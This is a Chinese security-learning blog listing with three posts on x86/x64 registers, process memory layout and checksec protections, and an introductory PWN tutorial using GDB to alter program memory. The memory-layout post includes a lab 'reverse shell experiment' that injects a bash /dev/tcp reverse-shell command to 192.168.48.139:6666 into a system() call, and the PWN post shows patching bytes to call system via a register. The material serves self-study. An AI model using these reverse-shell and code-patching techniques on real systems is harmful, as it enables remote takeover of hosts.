首页
关于
友链
Search
1
设备部署-NIDS入侵检测系统-Snort&Suricata
5 阅读
2
从方法重写到SQL注入-信呼OA审计
5 阅读
3
CVE-2025-11001
4 阅读
4
设备部署-HIDS入侵检测系统-Elkeid&Wazuh
4 阅读
5
Web入侵分析入口思路
3 阅读
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
登录
Search
标签搜索
学习笔记
蓝队
应急响应
代码审计
设备部署
内存马查杀
IDS
漏洞复现
JumpServer
HFish
雷池WAF
HIDS
Snort
Suricata
NIDS
Yara规则识别样本
ELK日志分析系统
Rookit查杀
容器应急
docker
N0va7
累计撰写
31
篇文章
累计收到
1
条评论
首页
栏目
蓝队
应急响应
设备部署
二进制
基础
代码审计
基础理论
实践分析
页面
关于
友链
搜索到
8
篇与
的结果
2025-09-06
x86与x64寄存器
x86和x86_64架构的区别32位最大寻址空间x86是32位的架构,地址总线宽度为32位理论可访问的最大寻址空间为2^32字节,约等于4GB实际中,操作系统通常将其中一部分用于内核空间,用户态程序可用空间为2GB或者3GB超过该限制的应用将无法在纯32位的系统中运行但是渐渐的32位的架构不够我们的需求,所以64位就应运而生64位最大寻址空间x86_64是64位架构,地址总线宽度为64位理论可以访问的最大寻址空间为2^64字节,约等于16EB(Exabytes)当前主流的CPU实际支持48位至52位的虚拟地址,即最大寻址能力在256TB至4PB之间用户进程可使用更大内存空间,适用于虚拟化、数据库、AI等高内存应用场景x86下的寄存器通用寄存器EAX:累加器,用于算术和逻辑运算EBX:基址寄存器,可用于访问内存中的变量ECX:计数器,常用于循环和字符串操作EDX:数据寄存器,用于乘除法指令中作为拓展位使用ESI:源索引,用于字符串复制、数组访问等场景EDI:目的索引,与ESI搭配使用ESP:栈指针,始终指向栈顶EBP:基址指针,用于建立函数的栈帧结构分段寄存器CS:代码段寄存器DS:数据段寄存器SS:栈段寄存器ES、FS、GS:扩展段寄存器,用于额外访问内存或线程本地存储分段机制在实模式和保护模式下意义不同,在现代系统中多数用于兼容目的或线程本地数据访问特殊用途寄存器EIP:指令指针寄存器,指向下一条将要执行的指令地址EFLAGS:标志寄存器,用于记录算术、逻辑操作结果状态ZF:零标志,结果是否为零CF:进位标志,是否产生进位OF:溢出标志,是否产生有符号溢出SF:符号标志,结果是否为负子寄存器所有32位通用寄存器都可以拆分访问其低位部分例如:AX是EAX的低16位,AH是AX的高8位,AL是AX的低8位同理BX->BH/BL,...子寄存器常用于字节级别的数据处理,例如处理ASCII字符、I/O操作、传感器数据采集等简单代码分析x86寄存器#include <stdio.h> int main() { int a = 10; int b = 20; int c = a + b; int arr[3] = {1, 2, 3}; int i; for(i = 0; i < 3; i++) printf("arr[%d] = %d\n", i, arr[i]); return 0; }gcc -m32 -g -fno-pie -no-pie -o x86_test x86_test.clayout regs此时eax清空EIP:指令指针寄存器,指向下一条将要执行的指令地址EAX:累加器,用于算术和逻辑运算(计算结果存储在eax)数组和i此处ebp-0x18为基地址,eax为下标,4为数据类型int的大小在调试的过程中可以发现每当push一个值,esp基本都会减少4,正印证了栈是从高往低增长,然后esp永远指向栈顶,ebp永远指向栈底x86_64下的寄存器寄存器数量扩展除了保留所有x86兼容寄存器外,x86_64架构新增以下64位寄存器:RAX、RBX、RCX、RDX、RSP、RBP、RSI、RDI新增:R8、R9、R10、R11、R12、R13、R14、R15每个寄存器均支持64位运算,并可拆分为32位、16位、8位子寄存器访问RIP会替代EIP,作为64位的指令指针调用约定变化在64位系统下,参数的传递改由寄存器优先完成System V(Linux、macOS):参数依次放入RDI、RSI、RDX、RCX、R8、R9Windows x64:参数依次放入RCX、RDX、R8、R9超过参数寄存器数量后,继续使用栈传递,返回值通常存储在RAX寄存器兼容模式:运行32位程序64位处理器支持在兼容模式下运行32位程序Windows使用WOW64(Windows on Windows 64)子系统完成兼容Linux可以安装32位动态链接库或运行在兼容模式内核下完成支持CPU在进入兼容模式时,将只启用前32位寄存器位宽和寻址简单代码分析x86_64寄存器#include <stdio.h> long add(long a, long b, long c, long d, long e, long f) { return a+b+c+d+e+f; } int main() { long result = add(1,2,3,4,5,6); printf("Result:%ld",result); return 0; }编译指令:gcc -g x64_test.c -o x64_test调试:在add函数中查看RDI、RSI、RDX、RCX、R8、R9的值使用layout reg或info reg可以实时查看寄存器变化可以看到这边的x64位的程序传递参数先传递到寄存器的地位R9、R8、RCX、RDX、RSI、RDI,途中显示的r9d、r8d、ecx、edx、esi、edi都是32位的子寄存器此外rip替代eip,一直指示着下一段要执行代码的地址进行两两相加,值存放到RDX中最终结果传递到RAX中接下来就是在调用printf的时候将两个参数放入RSI和RDI了
2025年09月06日
1 阅读
0 评论
0 点赞
2025-09-05
虚拟地址和内存区域说明
虚拟地址空间基础简要说明当一个程序运行时,操作系统会为它分配一个虚拟地址空间,划分多个区域。像是我们常规使用objdump查看反汇编的部分就是代码段->.textobjdump -d test或者使用另一种查看方式objdump -D test -j .text不加-j的话就是所有段都查看objdump -D test内存区域详细说明栈-Stack由系统自动管理分配还是释放,Stack存放局部变量、返回地址、函数调用记录。其结构属于后进先出(LIFO)结构特点:空间小、效率高示例代码:void foo() { int x = 10; } int main() { foo(); return 0; }此时栈的状态如下图所示栈溢出:调用太多函数或者申请超大局部变量,造成的栈溢出堆-Heap通过malloc、new等API函数手动分配/释放,用于存储跨函数、跨生命周期的数据特点:容量大,但管理开销也比较大示例代码:int *p = malloc(100);内存泄露:若未释放(free)申请的内存,则会造成内存泄露数据段-.data存储已初始化的全局变量、静态变量示例代码:#include <stdio.h> int x=10; int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); return 0; }可以看到变量x确实被赋值为10,且存储于.data段BSS段存储未初始化的全局变量、静态变量,程序启动时会自动清零示例代码:#include <stdio.h> int x; static int y; int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); return 0; }代码段-.text存储程序指令,通常是只读的,防止被篡改(但是其实我们多少都能改点)代码演示#include <stdio.h> #include <stdlib.h> int g = 10; // .data int x; // .bss int main(){ int a = 10; // stack-栈 int *p = malloc(4); // 变量 p 在栈上,malloc返回的堆指针指向堆内存 printf("g:%d\r\na:%d\r\n", g, a); x = 90; return 0; }数据段和bss段代码段真实情况下:分配地址是这个注意:运行中的内存地址并非固定的,如果是固定的会有相应的标识符显示checksec安全机制解析checksec 命令用于检查二进制程序的安全保护机制# 安装pwntools,他包含了checksec pip install pwntools检查是否为动态内存地址checksec --file test当PIE为enabled的时候就是动态加载的,当他为No PIE的时候就是固定内存地址,这点我们通过反汇编也能看出来1. Arch: i386-32-little含义:程序的架构信息。i386-32:32 位 x86 架构(32 位程序,寄存器为 eax、ebx 等,指针长度 4 字节)。little:小端字节序(数据的低字节存储在低地址,x86 架构默认)。影响:漏洞利用时需使用对应架构的指令和地址长度(如 32 位地址为 4 字节)。2. RELRO: Partial RELRO含义:RELRO(Relocation Read-Only,重定位只读)是一种保护机制,控制程序的 GOT(全局偏移表) 是否可写。Partial RELRO:部分重定位只读。GOT 表的前半部分(早期绑定的符号)只读,但后半部分(延迟绑定的符号,如 printf@plt、system@plt)仍可写。Full RELRO:完全重定位只读。整个 GOT 表在程序启动时被标记为只读,无法修改。影响: Partial RELRO 下,攻击者可能通过修改 GOT 表(如 system@plt 的入口)实现漏洞利用(如 GOT 劫持);而 Full RELRO 可完全阻止这种攻击。3. Stack: No canary found含义:栈保护机制(Stack Canary)的状态。No canary found:未启用栈保护。程序在函数调用时,不会在栈上插入 “金丝雀”(随机值)来检测栈溢出。Canary found:启用栈保护。函数栈帧中会插入一个随机值(金丝雀),函数返回前会检查该值是否被修改,若被修改则触发程序崩溃,阻止栈溢出攻击。影响: 未启用栈保护时,缓冲区溢出漏洞可能直接覆盖返回地址,实现代码执行;启用后则难以直接溢出修改返回地址。4. NX: NX enabled含义:NX(No-eXecute,不可执行)是栈 / 堆执行权限的保护机制。NX enabled:启用 NX 保护。栈和堆内存被标记为 “不可执行”(仅允许读 / 写,不允许执行指令)。NX disabled:禁用 NX 保护。栈和堆内存可执行,攻击者注入的 shellcode 可直接执行。影响: NX 启用时,传统的 “栈上注入 shellcode 并执行” 的方法失效,需改用 ret2libc(调用系统库函数)等技术;禁用时可直接执行注入的代码。5. PIE: No PIE (0x8048000)含义:PIE(Position-Independent Executable,位置无关可执行文件)是地址随机化机制。No PIE:未启用 PIE。程序加载到内存时,代码段、数据段的地址是固定的(如输出中的 0x8048000 是代码段起始地址)。PIE enabled:启用 PIE。程序每次启动时,代码段、数据段的地址会被随机化(受 ASLR 保护),无法提前预知。影响: 未启用 PIE 时,函数(如 system)和全局变量的地址是固定的,漏洞利用时可直接硬编码这些地址;启用后地址随机,需通过信息泄露获取地址。6. Stripped: No含义:程序是否去除了符号表(调试信息)。No:未去除符号表。程序中保留了函数名、变量名等调试信息(如 main、printf 等函数名可见)。Yes:已去除符号表。调试信息被删除,gdb 中无法直接通过函数名查看地址,需通过反汇编分析。影响: 未去除符号表时,调试和漏洞分析更方便(可直接用函数名设置断点);去除后分析难度增加。补充RWX Segment:如果程序存在可读可写可执行(RWX)的内存段,就可能存在攻击者注入代码并执行的空间。SHSTK/IBT:是现代 CPU 的硬件保护机制,用于防止 ROP(返回导向编程)、JOP(跳转导向编程)这类攻击。CTF的一些可执行程序编译:gcc -m32 -fno-stack-protector -no-pie -z execstack test.c -o test_v2反弹shell实验尝试对示例1和示例2代码进行反弹shell的尝试,观察代码位置改变是否会影响指令地址、行为分析示例代码1:#include <stdio.h> #include <stdlib.h> int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); system("whoami"); return 0; }b *main+87 run n set {char[53]}($ebx-0x198a)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'" x/s $eax nnc -lvvp 6666示例代码2:#include <stdio.h> #include <stdlib.h> int main(){ int a=10; int b=20; int c=a+b; system("whoami"); printf("%d+%d=%d\n", a, b, c); return 0; }发现system函数的调用地址并没有因为代码位置的变化而变化b *main+63 run n x/s $ebx-0x1994 set {char[53]}($ebx-0x1994)="bash -c 'sh -i >& /dev/tcp/192.168.48.139/6666 0>&1'" x/s $ebx-0x1994 nnc -lvvp 6666
2025年09月05日
1 阅读
0 评论
0 点赞
2025-09-04
二进制入门基础
环境准备Ubuntu 虚拟机/VPS建议在Ubuntu上配置调试环境,便于后续GDB+pwndbg 调试。配置环境安装编译与运行依赖apt update && apt install -y \ build-essential libssl-dev zlib1g-dev libbz2-dev \ libreadline-dev libsqlite3-dev wget curl llvm \ libncurses5-dev libncursesw5-dev xz-utils tk-dev \ libffi-dev liblzma-dev libnss3-dev uuid-dev \ libgmp-dev autoconf bison libyaml-dev \ libgdbm-dev libdb-dev libgdbm-compat-dev lrzsz \ python-openssl git gdb gcc-multilib # 启用32位兼容运行环境 dpkg --add-architecture i386 apt update && apt install -y libc6:i386 lib32z1 安装 Python 虚拟环境curl https://pyenv.run | bash # 添加环境变量 ~/.bashrc 或 ~/.zshrc export PATH="$HOME/.pyenv/bin:$PATH" eval "$(pyenv init --path)" eval "$(pyenv init -)" source ~/.bashrc pyenv install 3.9.5 pyenv virtualenv 3.9.5 pwnenv pyenv activate pwnenv 安装 Ruby + PWN 辅助工具git clone https://github.com/rbenv/rbenv.git ~/.rbenv export PATH="$HOME/.rbenv/bin:$PATH" eval "$(rbenv init -)" git clone https://github.com/rbenv/ruby-build.git ~/.rbenv/plugins/ruby-build rbenv install 3.2.6 rbenv global 3.2.6 gem install one_gadget seccomp-tools 什么是PWN?PWN 原指“own”(控制、攻破)的俚语变体,最初出现在黑客文化中。后被 CTF(Capture The Flag)竞赛广泛使用,用来指代利用程序二进制漏洞实现控制、提权、信息泄露等攻击手段的一类题型。PWN ≈ 利用二进制程序漏洞控制程序流程核心手段:栈溢出、格式化字符串、堆溢出、UAF、整数溢出等最终目标:执行恶意代码或泄露敏感数据常见术语现在不懂没关系,不需要有压力,当作了解即可程序如何来的?我们知道计算机的可执行程序是通过编译器编译出来的,但是我们并不了解它更深层次的相关内容。他的大致流程如下图:高级语言(比如C语言) -> 汇编代码 -> 机器码(二进制数据) -> 可执行程序其中,编译器(如gcc)将高级语言编译成汇编语言,汇编器和链接器将这些内容变为二进制的可执行文件可执行文件类型我们最常见的可执行文件无非就是Windows平台上的exe程序了,除了这种,还有哪些呢?Windows.dll:动态链接库.lib:静态链接库.exe:可执行文件Linux.so:动态链接库.a:静态链接库.out(或无后缀):可执行文件程序运行原理程序从硬盘加载进内存后,由操作系统将控制权交给程序入口点(如 _start ),然后开始执行。这个_start 等会就会提到,一般程序的入口点都是这个_start 。第一个程序分析实践使用一个简单的 test.c ,结合 objdump 反汇编,观察编译后的机器码结构。#include <stdio.h> int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); return 0; } 编译32位可执行程序gcc -m32 test.c -o test通过objdump查看反汇编objdump -d test如果没有汇编的基础的话,你会发现这啥玩意,完全看不懂,没关系,接下来就一步一步来了解关键观察点.text 段:代码逻辑部分,包含main.plt/.got :动态链接跳转表,涉及函数调用如 printf_start -> main :程序的入口跳转关系call:调用函数add:两数相加mov:类似于赋值的意思在 C 语言中,我们习惯将 main 视为程序入口,但实际上:操作系统加载 ELF 可执行文件后,会首先跳转到 _start 符号(对应汇编中的 000003e0 <_start>),这是链接器(ld)默认设置的入口点。_start 的核心任务是:初始化运行环境(如栈对齐)、准备 main 的参数,最终调用 __libc_start_main(C 标准库函数),由它间接启动 main。这里面从__libc_start_main转到main比较复杂,所以我们先默认调用__libc_start_main即为转到main这时候我们观察一下mian函数的整体,发现基本都是我们看不懂的汇编代码,不过还是有几个入手的地方的比如说printf应该就是调用printf函数的,那么在两数相加应该就在printf之前了那么ecx和edx基本就是10和20了,那到底谁才是10和20呢?继续向前观察发现存在mov赋值在我们看不懂的情况下,我们要知道谁是10,谁是20其实很简单,10=0xa,20=0x14。现在其实就很明显了,10被赋值到-0x14(%ebp)这个地方,然后-0x14(%ebp)又被赋值给了%ecx,所以%ecx就是10,那么另一个%edx就是20了那现在其实我们就基本捋清楚脉络了,但是上面的内容都是我们自己的猜测,接下来我们得去验证我们的猜测GDB调试分析验证猜测在Linux中,可以采用的调试工具有好几个,但是这次我们采用GDB这个工具来帮助我们进行调试输入help可以查看帮助命令,但是命令并不是全部,需要全部命令的话得自己去看文档https://linuxtools-rst.readthedocs.io/zh-cn/latest/tool/gdb.html调试gdb test # 调试可执行程序 run # 直接运行break main # 在main函数处下断点可以看到已经成功停到这个断点的地方了,我们可以查看对应的反汇编来确认disassemble main # 查看指定函数的汇编代码基本一致,说明我们这时候确实到了main函数这个位置到了main函数的位置,那么我们就得确定我们之前的猜测是否正确了,先下断点到哪呢?先下断点到这个地址,我们先看看ecx是否真的为10,edx是否真的为20break *main+48 # 在对应偏移下断点 next # 继续运行到下一个断点,可以简写为n info register ecx # 打印寄存器ecx的值,可以简写为i r ecx可以看到确实为10,edx也确实是20那么我们去下另一个位置的断点,来看看-0x14(%ebp)是否为10呢?break *main+35x/i $pc # 查看当前行的指令 x/d $ebp-0x14 # 十进制查看内存单元的值 x 命令(检查内存)支持多种格式,格式符如下: d:十进制x:十六进制(默认)u:无符号十进制s:字符串c:字符此时我们基本能验证,我们上面的猜测是正确的了,但是别忘了,我们学习这些知识是为了什么?为了pwn,所以我们至少得改点东西意思意思值修改修改哪个地方呢?在ecx和edx相加之前修改吗?我们可以尝试一下set $ecx = 800我们确实成功修改了ecx的值,但是输出不正确啊,这是为啥?我们知道函数调用的参数需要压入栈中调用,观察红色第一部分,可以发现edx被存到-0xc(%ebp)中,接下来就和-0x10(%ebp)、-0x14(%ebp)一起被push进栈中,所以这时候结果正确,但是表达式不正确,因为-0x10(%ebp)、-0x14(%ebp)这俩我们没改到那么知道什么地方错了之后,我们就可以针对性进行修改了,我们知道要从源头开始修改,所以,我们要改的地方就是-0x14(%ebp)set *(int*)($ebp-0x14) = 800(int*):将上述地址强制转换为 “指向 int 类型的指针”(告诉 GDB 该地址存储的是 int 数据)。*:解引用指针,即访问该指针指向的内存单元(获取或修改该地址存储的实际值)。至此修改成功将输出换成其他字符串既然我们可以修改传入栈中的值,那么我们能否改变printf输出的字符串呢?先看一个例子def printf(a, b): print(a, b)可以看到这个函数会传入参数,而参数就是通过push到栈传递的,同时他是先进后出push a push b call printf这时候就是printf(b, a)那么我们的源程序是printf("%d+%d=%d\n", a, b, c),这时候我们只要找到"%d+%d=%d\n"这个参数就行了一共是4个参数,根据先进后出的原则,基本可以确定就是定位到这里基本可以定位是edx了,但是注意上一段代码,edx是从eax的某个偏移内存地址获取到的,所以我们要从源头出发进行修改lea -0x19d8(%eax),%edx ; edx = eax - 0x19d8 等价set {char[14]}($eax-0x19d8) = "Hello World!\n" # char数组要计算出字符串的位数,记得还得算上末尾的\0一位此时就已经成功修改了system执行替换既然上面我们已经学会了如何替换传入的参数,那么如果我们的代码变成这样呢?#include <stdio.h> #include <stdlib.h> int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); system("whoami"); return 0; }那是不是我们只要分析出来system传入的是哪个参数,我们就可以实现任意的命令执行?gcc -m32 test2.c -o test2 objdump -d test2定位到此处之后,我们可以发现对应传入的字符串地址通过gdb进行动态调试break main break *main+87接下来直接修改对应的源地址$ebx-0x198a即可set {char[3]}($ebx-0x198a)="id"无system函数调用那么当我们回到最初的代码,我们还能调用system来实现命令执行吗?#include <stdio.h> int main(){ int a=10; int b=20; int c=a+b; printf("%d+%d=%d\n", a, b, c); return 0; }先在main函数处打上断点,然后run到main函数处暂停(如果不这么做的话,因为system函数在libc中,而libc是程序运行时才动态加载的,不运行查看不到)此时查看system函数的内存地址info functions system此时我们已经得到了system函数的地址,这时候我们只需要将要执行的命令以及call的地址进行替换即可要执行的命令替换很简单,直接断点打到+68的偏移,然后将eax-0x19d8的内容修改即可替换call的地址为system函数的地址0xf7e243d0set {char[5]}0x56555564={0xe8,0xd0,0x43,0xe2,0xf7}发现程序无法正常运行,看起来我们没法直接调用system函数的地址,但是经过之前几次的尝试,我们其实发现了寄存器eax、edx他们都能存储地址,如果我们将system函数的地址存储在寄存器中,再去call寄存器呢?set {char[7]} 0x56555564 = {0xb8,0xd0,0x43,0xe2,0xf7,0xff,0xd0}可以看到对应输入的二进制会对应到汇编代码为0xb8,0xd0,0x43,0xe2,0xf7 ==> mov $0xf7e243d0,%eax 0xff,0xd0 ==> call *%eax0xb8,0xd0,0x43,0xe2,0xf7 对应 mov $0xf7e243d0,%eax操作码(第 1 字节 0xb8): x86 指令集中,0xb8 是专门用于 “将 32 位立即数传送到 eax 寄存器” 的操作码,格式为: 0xb8 + 4字节立即数 → mov $立即数, %eax立即数(后 4 字节 0xd0,0x43,0xe2,0xf7): 这 4 字节按 小端字节序 存储,转换为 32 位数值为 0xf7e243d0:小端字节序要求 “低字节存低地址”,因此内存中 0xd0(低字节),0x43,0xe2,0xf7(高字节) 对应的数值是 0xf7e243d0。完整对应: 0xb8(操作码) + 0xd0,0x43,0xe2,0xf7(立即数) → 汇编为 mov $0xf7e243d0, %eax,即 “将 0xf7e243d0 写入 eax 寄存器”。0xff,0xd0 对应 call *%eax操作码(第 1 字节 0xff): 0xff 是 x86 中的 “通用操作码”,具体功能由第 2 字节(ModR/M 字节)决定,可表示 “调用、跳转、加 1” 等操作。ModR/M 字节(第 2 字节 0xd0): ModR/M 字节是 x86 指令中用于指定操作数(寄存器或内存)的编码,0xd0 的二进制是 11010000,拆分后:高 2 位(11):表示 “操作数是寄存器(而非内存)”;中间 3 位(010):表示 “寄存器编号 2”(对应 eax,x86 寄存器编码中 eax 对应编号 0,但此处因特殊编码);低 3 位(000):配合 0xff 操作码,表示 “调用(call)” 操作。完整对应: 0xff(操作码) + 0xd0(ModR/M 字节) → 汇编为 call *%eax,即 “间接调用 eax 寄存器指向的地址”。最终成功实现命令执行疑问为什么不调用system函数,不包含stdlib.h也可以实现system函数的调用执行呢?程序动态链接 libc 时,整个 libc 库(包含其中的所有函数,如 printf、system 等)会被映射到进程内存中,无论程序是否显式调用这些函数。因此,只要 libc 被动态链接(默认情况如此),即使程序没包含任何头文件,也能通过地址直接调用 system 函数(例如汇编层面的 call 指令)。printf 和 system 都是 libc 的一部分,动态链接 libc 是整体加载该库,而非只加载被调用的函数。因此,只要 `printf` 能被调用(说明 `libc` 已动态链接),`system` 必然存在于进程内存中,理论上可被调用。 头文件(如 stdlib.h)仅影响编译阶段的语法检查,与运行时 system 是否存在于内存无关。当然了,如果你编译的时候选择静态编译的话,那么只会导入程序需要的东西,那样就不会导入system了gcc -m32 --static test.c -o test
2025年09月04日
1 阅读
0 评论
0 点赞
1
2